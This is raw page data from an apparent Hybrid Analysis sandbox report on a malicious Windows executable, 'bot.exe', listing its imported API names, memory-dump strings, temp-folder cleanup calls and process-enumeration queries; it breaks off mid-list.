34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 73:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T428,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample d4f891f34971… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample d4f891f34971…. Threat score 100/100. 0/26 AV engines flagged this file. 6 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1"],"about":{"@type":"SoftwareApplication","name":"bot.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","additionalType":"Malicious sample"},"threatScore":100,"antivirusDetections":{"malicious":0,"total":26},"behavioralIndicators":{"malicious":6,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T2b1f,Found reference to API (Indicator: "MulDiv"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteFileW"; Source: "sample.bin"), Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "sample.bin"), Found reference to API (Indicator: "GetExitCodeProcess"; Source: "sample.bin"), Found reference to API (Indicator: "MoveWindow"; Source: "sample.bin"), Found reference to API (Indicator: "FlushFileBuffers"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileSizeEx"; Source: "sample.bin"), Found reference to API (Indicator: "Process32FirstW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateWindowExW"; Source: "sample.bin"), Found reference to API (Indicator: "DefWindowProcW"; Source: "sample.bin"), Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "sample.bin"), Found reference to API (Indicator: "SetEndOfFile"; Source: "sample.bin"), Found reference to API (Indicator: "ConvertStringSecurityDescriptorToSecurityDescriptorW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateDirectory"; Source: "sample.bin"), Found reference to API (Indicator: "GetDriveTypeW"; Source: "sample.bin"), Found reference to API (Indicator: "LCMapStringEx"; Source: "sample.bin"), Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "sample.bin"), Found reference to API (Indicator: "TranslateMessage"; Source: "sample.bin"), Found reference to API (Indicator: "SystemParametersInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleW"; Source: "sample.bin"), Found reference to API (Indicator: "SetStdHandle"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcessId"; Source: "sample.bin"), Found reference to API (Indicator: "FormatMessageW"; Source: "sample.bin"), Found reference to API (Indicator: "GetStartupInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "HeapAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "FlsFree"; Source: "sample.bin"), Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "sample.bin"), Found reference to API (Indicator: "DestroyIcon"; Source: "sample.bin"), Found reference to API (Indicator: "FlsAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "ShowWindow"; Source: "sample.bin"), Found reference to API (Indicator: "HeapFree"; Source: "sample.bin"), Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "DispatchMessageW"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeSListHead"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteObject"; Source: "sample.bin"), Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; Source: "sample.bin"), Found reference to API (Indicator: "GetConsoleMode"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateToolhelp32Snapshot"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcessHeap"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcAddress"; Source: "sample.bin"), Found reference to API (Indicator: "RaiseException"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileExW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileW"; Source: "sample.bin"), Found reference to API (Indicator: "FlsGetValue"; Source: "sample.bin"), Found reference to API (Indicator: "EncodePointer"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempPathW"; Source: "sample.bin"), Found reference to API (Indicator: "LeaveCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "sample.bin"), Found reference to API (Indicator: "CreateSymbolicLinkW"; Source: "sample.bin"), Found reference to API (Indicator: "EnterCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "GetTokenInformation"; Source: "sample.bin"), Found reference to API (Indicator: "RemoveDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "WideCharToMultiByte"; Source: "sample.bin"), Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "FindClose"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleExW"; Source: "sample.bin"), Found reference to API (Indicator: "CompareStringEx"; Source: "sample.bin"), Found reference to API (Indicator: "LocaleNameToLCID"; Source: "sample.bin"), Found reference to API (Indicator: "RegisterClassW"; Source: "sample.bin"), Found reference to API (Indicator: "ConvertSidToStringSidW"; Source: "sample.bin"), Found reference to API (Indicator: "GetDC"; Source: "sample.bin"), Found reference to API (Indicator: "AreFileApisANSI"; Source: "sample.bin"), Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "sample.bin"), Found reference to API (Indicator: "GetACP"; Source: "sample.bin"), Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "sample.bin"), Found reference to API (Indicator: "ReadConsoleW"; Source: "sample.bin"), Found reference to API (Indicator: "DestroyWindow"; Source: "sample.bin"), Found reference to API (Indicator: "SelectObject"; Source: "sample.bin"), Found reference to API (Indicator: "IsValidCodePage"; Source: "sample.bin"), Found reference to API (Indicator: "InvalidateRect"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "PeekNamedPipe"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileAttributesExW"; Source: "sample.bin"), Found reference to API (Indicator: "ExitProcess"; Source: "sample.bin"), Found reference to API (Indicator: "HeapSize"; Source: "sample.bin"), Found reference to API (Indicator: "K32GetModuleFileNameExW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentThreadId"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBoxA"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBoxW"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileType"; Source: "sample.bin"), Found reference to API (Indicator: "GetCPInfo"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameW"; Source: "sample.bin"), Found reference to API (Indicator: "IsDebuggerPresent"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcess"; Source: "sample.bin"), Found reference to API (Indicator: "GetClientRect"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFree"; Source: "sample.bin"), Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryExW"; Source: "sample.bin"), Found reference to API (Indicator: "QueryFullProcessImageNameW"; Source: "sample.bin"), Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "sample.bin"), Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcess"; Source: "sample.bin"), Found reference to API (Indicator: "GetCursorPos"; Source: "sample.bin"), Found reference to API (Indicator: "GetFullPathNameW"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseDC"; Source: "sample.bin"), Found reference to API (Indicator: "SetDllDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "GetStdHandle"; Source: "sample.bin"), Found reference to API (Indicator: "PeekMessageW"; Source: "sample.bin"), Found reference to API (Indicator: "SetErrorMode"; Source: "sample.bin"), Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualProtect"; Source: "sample.bin"), Found reference to API (Indicator: "GetCommandLineA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCommandLineW"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileInformationByHandle"; Source: "sample.bin"), Found reference to API (Indicator: "CompareStringW"; Source: "sample.bin"), Found reference to API (Indicator: "WriteFile"; Source: "sample.bin"), Found reference to API (Indicator: "CreateProcessW"; Source: "sample.bin"), Found reference to API (Indicator: "FlsSetValue"; Source: "sample.bin"), Found reference to API (Indicator: "Sleep"; Source: "sample.bin"), Found reference to API (Indicator: "RtlCaptureContext"; Source: "sample.bin"), Found reference to API (Indicator: "GetOEMCP"; Source: "sample.bin"), Found reference to API (Indicator: "TerminateProcess"; Source: "sample.bin"), Found reference to API (Indicator: "FreeLibrary"; Source: "sample.bin"), Found reference to API (Indicator: "ReadFile"; Source: "sample.bin"), Found reference to API (Indicator: "LCMapStringW"; Source: "sample.bin"), Found reference to API (Indicator: "FindNextFileW"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcessToken"; Source: "sample.bin"), Found reference to API (Indicator: "SetFilePointerEx"; Source: "sample.bin"), Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "sample.bin"), Found reference to API (Indicator: "Process32NextW"; Source: "sample.bin"), Found reference to API (Indicator: "WriteConsoleW"; Source: "sample.bin"), Found reference to API (Indicator: "RtlPcToFileHeader"; Source: "sample.bin"), Found reference to API (Indicator: "GetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibrary"; Source: "sample.bin"), Found reference to API (Indicator: "SetConsoleCtrlHandler"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFontIndirectW"; Source: "sample.bin"), Found reference to API (Indicator: "MultiByteToWideChar"; Source: "sample.bin"), Found reference to API (Indicator: "HeapReAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "GetStringTypeW"; Source: "sample.bin"), Found reference to API (Indicator: "SetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemMetrics"; Source: "sample.bin"), Found reference to API (Indicator: "K32EnumProcessModules"; Source: "sample.bin"), Found reference to API (Indicator: "WaitForSingleObject"; Source: "sample.bin"), Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "sample.bin"), Found reference to API (Indicator: "CloseHandle"; Source: "sample.bin")37:T1ca6,file/memory contains long string(File: "_bounded_integers.cp314-win_amd64.pyd") file/memory contains long string(File: "_lzma.pyd") file/memory contains long string(File: "cd.cp314-win_amd64.pyd") file/memory contains long string(File: "_mt19937.cp314-win_amd64.pyd") file/memory contains long string(File: "_philox.cp314-win_amd64.pyd") file/memory contains long string(File: "_bz2.pyd") Found string "LZSS string data decompression failed" (Source: "00000000-00002724.00000000.171515.AF707000.00000002.mdmp, 00000000-00002724.00000002.175358.BBE78000.00000002.mdmp") Found string "compression" (Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp, 00000000-00002724.00000000.171515.F71F0000.00000004.mdmp, 00000000-00002724.00000000.171515.F7440000.00000004.mdmp, 00000000-00002724.00000000.171515.F7740000.00000004.mdmp, 00000000-00002724.00000001.173435.BBEFA000.00000002.mdmp, 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp, 00000000-00002724.00000001.173435.F71F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F7440000.00000004.mdmp, 00000000-00002724.00000001.173435.F7740000.00000004.mdmp, 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp, 00000000-00002724.00000002.175358.F71F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F7440000.00000004.mdmp, 00000000-00002724.00000002.175358.F7740000.00000004.mdmp, 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp, 00000000-00002724.00000003.176644.F71F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F7440000.00000004.mdmp, 00000000-00002724.00000003.176644.F7740000.00000004.mdmp") Found string "compression($self, /)" (Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found string "SSL_get_current_compression" (Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000003.176644.B981F000.00000002.mdmp") Found string "flush() method to finish the compression process." (Source: "00000000-00002724.00000000.171515.C3067000.00000002.mdmp, 00000000-00002724.00000001.173435.BBEFA000.00000002.mdmp, 00000000-00002724.00000002.175358.C308E000.00000002.mdmp") Found string "preset compression level (with the 'preset' argument), or in detail" (Source: "00000000-00002724.00000000.171515.C3067000.00000002.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp") Found string "the raw compressor does not support preset compression levels." (Source: "00000000-00002724.00000000.171515.C3067000.00000002.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp") Found string "For one-shot compression, use the compress() function instead." (Source: "00000000-00002724.00000000.171515.C3067000.00000002.mdmp, 00000000-00002724.00000000.171515.F7440000.00000004.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F7440000.00000004.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.C308E000.00000002.mdmp, 00000000-00002724.00000002.175358.F7440000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp, 00000000-00002724.00000003.176644.F7440000.00000004.mdmp") Found string "Finish the compression process." (Source: "00000000-00002724.00000000.171515.C3067000.00000002.mdmp, 00000000-00002724.00000001.173435.BBEFA000.00000002.mdmp, 00000000-00002724.00000002.175358.C308E000.00000002.mdmp") Found string "decompression to fail if the input cannot be decompressed within the" (Source: "00000000-00002724.00000000.171515.C3067000.00000002.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp") Found string "For one-shot decompression, use the decompress() function instead." (Source: "00000000-00002724.00000000.171515.C3067000.00000002.mdmp, 00000000-00002724.00000000.171515.F7440000.00000004.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000000.171515.F7740000.00000004.mdmp, 00000000-00002724.00000001.173435.F7440000.00000004.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F7740000.00000004.mdmp, 00000000-00002724.00000002.175358.C308E000.00000002.mdmp, 00000000-00002724.00000002.175358.F7440000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F7740000.00000004.mdmp, 00000000-00002724.00000003.176644.F7440000.00000004.mdmp, 00000000-00002724.00000003.176644.F7740000.00000004.mdmp") Found string "Invalid compression preset: %u" (Source: "00000000-00002724.00000000.171515.C3067000.00000002.mdmp") Found string "The predefined compression dictionary. This is a sequence of bytes" (Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F70F4000.00000004.mdmp, 00000000-00002724.00000003.176644.F7114000.00000004.mdmp") Found string "*level* is an optional int specifying the compression level to use," (Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F7102000.00000004.mdmp") Found string "*options* is an optional dict for advanced compression parameters." (Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F7102000.00000004.mdmp") Found string "See CompressionParameter and DecompressionParameter for the possible" (Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F7102000.00000004.mdmp") Found string "The functions in this module allow compression and decompression using the" (Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp") Found string "compress(data[, level]) -- Compress data, with compression level 0-9 or -1." (Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp") Found string "z = ZipFile(file, mode="r", compression=ZIP_STORED, allowZip64=True," (Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp")38:Tbe9,"bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\certifi (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\charset_normalizer (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\cryptography\hazmat\bindings (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\cryptography\hazmat (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\cryptography (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\cryptography-50.0.2.dist-info\licenses (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\cryptography-50.0.2.dist-info\sboms (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\cryptography-50.0.2.dist-info (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\cv2\data (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\cv2\mat_wrapper (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\cv2\misc (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\cv2\typing (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\cv2\utils (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\cv2 (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\numpy\fft (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\numpy\linalg (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\numpy\random (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\numpy\_core (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\numpy (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\fft\pocketfft (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\fft (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\linalg\lapack_lite (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\linalg (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\ma (UID: 00000000-00001324) "bot.exe" called "RemoveDirectoryW" with parameter %TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\random\src\distributions (UID: 00000000-00001324)39:T1614,file/memory contains long string with (Indicator: "SHA384"; File: "libffi-8.dll") file/memory contains long string with (Indicator: "HMAC"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA512"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "RC2"; File: "RECORD") Found reference to "SHA512_Init" (Indicator: "SHA512"; File: "bot.exe") Found reference to "SHA384_Init" (Indicator: "SHA384"; File: "bot.exe") Found reference to "HMAC_CTX_new" (Indicator: "HMAC"; File: "bot.exe") Found reference to "HMAC_Final" (Indicator: "HMAC"; File: "bot.exe") Found reference to "SHA512_Transform" (Indicator: "SHA512"; File: "bot.exe") Found reference to "HMAC_Update" (Indicator: "HMAC"; File: "bot.exe") Found reference to "HMAC_size" (Indicator: "HMAC"; File: "bot.exe") Found reference to "HMAC_CTX_free" (Indicator: "HMAC"; File: "bot.exe") Found reference to "HMAC_Init_ex" (Indicator: "HMAC"; File: "bot.exe") Found reference to "RC2D" (Indicator: "RC2"; Source: "00000000-00002724.00000000.171515.B47B6000.00000002.mdmp") Found reference to "HMAC" (Indicator: "HMAC"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.C3017000.00000002.mdmp, 00000000-00002724.00000000.171515.F7F40000.00000004.mdmp, 00000000-00002724.00000000.171515.F8040000.00000004.mdmp, 00000000-00002724.00000000.171515.F8F40000.00000004.mdmp, 00000000-00002724.00000001.173435.ABE57000.00000002.mdmp, 00000000-00002724.00000001.173435.F7F40000.00000004.mdmp, 00000000-00002724.00000001.173435.F8040000.00000004.mdmp, 00000000-00002724.00000001.173435.F8D4E000.00000004.mdmp, 00000000-00002724.00000001.173435.F8F40000.00000004.mdmp, 00000000-00002724.00000001.173435.FF540000.00000004.mdmp, 00000000-00002724.00000002.175358.F7F40000.00000004.mdmp, 00000000-00002724.00000002.175358.F8040000.00000004.mdmp, 00000000-00002724.00000002.175358.F8D4E000.00000004.mdmp, 00000000-00002724.00000002.175358.F8F40000.00000004.mdmp, 00000000-00002724.00000002.175358.FF540000.00000004.mdmp, 00000000-00002724.00000003.176644.B981F000.00000002.mdmp, 00000000-00002724.00000003.176644.F7B22000.00000004.mdmp, 00000000-00002724.00000003.176644.F7F40000.00000004.mdmp, 00000000-00002724.00000003.176644.F8040000.00000004.mdmp, 00000000-00002724.00000003.176644.F8C30000.00000004.mdmp, 00000000-00002724.00000003.176644.F8F40000.00000004.mdmp, 00000000-00002724.00000003.176644.FF540000.00000004.mdmp") Found reference to "EXPECTING_AN_HMAC_KEY" (Indicator: "HMAC"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.F8140000.00000004.mdmp, 00000000-00002724.00000001.173435.F8140000.00000004.mdmp, 00000000-00002724.00000002.175358.F8140000.00000004.mdmp, 00000000-00002724.00000003.176644.F8140000.00000004.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00002724.00000000.171515.C3017000.00000002.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000000.171515.F7F40000.00000004.mdmp, 00000000-00002724.00000001.173435.ABE57000.00000002.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F7F40000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F7F40000.00000004.mdmp, 00000000-00002724.00000003.176644.B981F000.00000002.mdmp, 00000000-00002724.00000003.176644.F767C000.00000004.mdmp, 00000000-00002724.00000003.176644.F7F40000.00000004.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00002724.00000000.171515.C3017000.00000002.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000000.171515.F7F40000.00000004.mdmp, 00000000-00002724.00000001.173435.ABE57000.00000002.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F7F40000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F7F40000.00000004.mdmp, 00000000-00002724.00000003.176644.F767C000.00000004.mdmp, 00000000-00002724.00000003.176644.F7F40000.00000004.mdmp") Found reference to "SHA512_224" (Indicator: "SHA512"; Source: "00000000-00002724.00000000.171515.C3017000.00000002.mdmp") Found reference to "SHA512-224" (Indicator: "SHA512"; Source: "00000000-00002724.00000000.171515.C3017000.00000002.mdmp, 00000000-00002724.00000001.173435.ABE57000.00000002.mdmp") Found reference to "SHA512_256" (Indicator: "SHA512"; Source: "00000000-00002724.00000000.171515.C3017000.00000002.mdmp") Found reference to "SHA512-256" (Indicator: "SHA512"; Source: "00000000-00002724.00000000.171515.C3017000.00000002.mdmp, 00000000-00002724.00000001.173435.ABE57000.00000002.mdmp") Found reference to "_hashlib.HMAC" (Indicator: "HMAC"; Source: "00000000-00002724.00000000.171515.C3017000.00000002.mdmp, 00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp, 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp, 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp") Found reference to "Password based key derivation function 2 (PKCS #5 v2.0) with HMAC as pseudorandom function." (Indicator: "HMAC"; Source: "00000000-00002724.00000000.171515.C3017000.00000002.mdmp") Found reference to "Single-shot HMAC." (Indicator: "HMAC"; Source: "00000000-00002724.00000000.171515.C3017000.00000002.mdmp") Found reference to "Return a copy ("clone") of the HMAC object." (Indicator: "HMAC"; Source: "00000000-00002724.00000000.171515.C3017000.00000002.mdmp")3a:T83e,"bot.exe" queried SystemProcessInformation at 00000000-00001324-00000C15-809164556 [PID: 1324] "bot.exe" queried SystemProcessInformation at 00000000-00001324-00000C15-809172404 [PID: 1324] "bot.exe" queried SystemProcessInformation at 00000000-00001324-00000C15-809381558 [PID: 1324] "bot.exe" queried SystemProcessInformation at 00000000-00001324-00000C15-809388490 [PID: 1324] "bot.exe" queried SystemProcessInformation at 00000000-00001324-00000C15-809518177 [PID: 1324] "bot.exe" queried SystemProcessInformation at 00000000-00001324-00000C15-809525281 [PID: 1324] "bot.exe" queried SystemProcessInformation at 00000000-00002724-00000C15-836081098 [PID: 2724] "bot.exe" queried SystemProcessInformation at 00000000-00002724-00000C15-836088704 [PID: 2724] "bot.exe" queried SystemProcessInformation at 00000000-00002724-00000C15-836280489 [PID: 2724] "bot.exe" queried SystemProcessInformation at 00000000-00002724-00000C15-836288072 [PID: 2724] "bot.exe" queried SystemProcessInformation at 00000000-00002724-00000C15-836423616 [PID: 2724] "bot.exe" queried SystemProcessInformation at 00000000-00002724-00000C15-836430988 [PID: 2724] "bot.exe" queried SystemProcessInformation at 00000000-00002724-00000C15-837259981 [PID: 2724] "bot.exe" queried SystemProcessInformation at 00000000-00002724-00000C15-837267263 [PID: 2724] "bot.exe" queried SystemProcessInformation at 00000000-00002724-00000C15-837801596 [PID: 2724] "bot.exe" queried SystemProcessInformation at 00000000-00002724-00000C15-837808894 [PID: 2724] "bot.exe" queried SystemProcessInformation at 00000000-00002724-00000C15-841205262 [PID: 2724] "bot.exe" queried SystemProcessInformation at 00000000-00002724-00000C15-841212975 [PID: 2724] "cmd.exe" queried SystemProcessInformation at 00000000-00007752-00000C15-838581002 [PID: 7752] "cmd.exe" queried SystemProcessInformation at 00000000-00007752-00000C15-838587996 [PID: 7752] "cmd.exe" queried SystemProcessInformation at 00000000-00007752-00000C15-838750448 [PID: 7752] "cmd.exe" queried SystemProcessInformation at 00000000-00007752-00000C15-838757575 [PID: 7752]3b:T51a,Found api reference "CertAddStoreToCollection" (Indicator: "CertAddStoreToCollection"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found api reference "CertEnumCRLsInStore" (Indicator: "CertEnumCRLsInStore"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found api reference "CertGetEnhancedKeyUsage" (Indicator: "CertGetEnhancedKeyUsage"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found api reference "CertFreeCRLContext" (Indicator: "CertFreeCRLContext"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found api reference "CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000003.176644.AC01E000.00000002.mdmp") Found api reference "CertEnumCertificatesInStore" (Indicator: "CertEnumCertificatesInStore"; 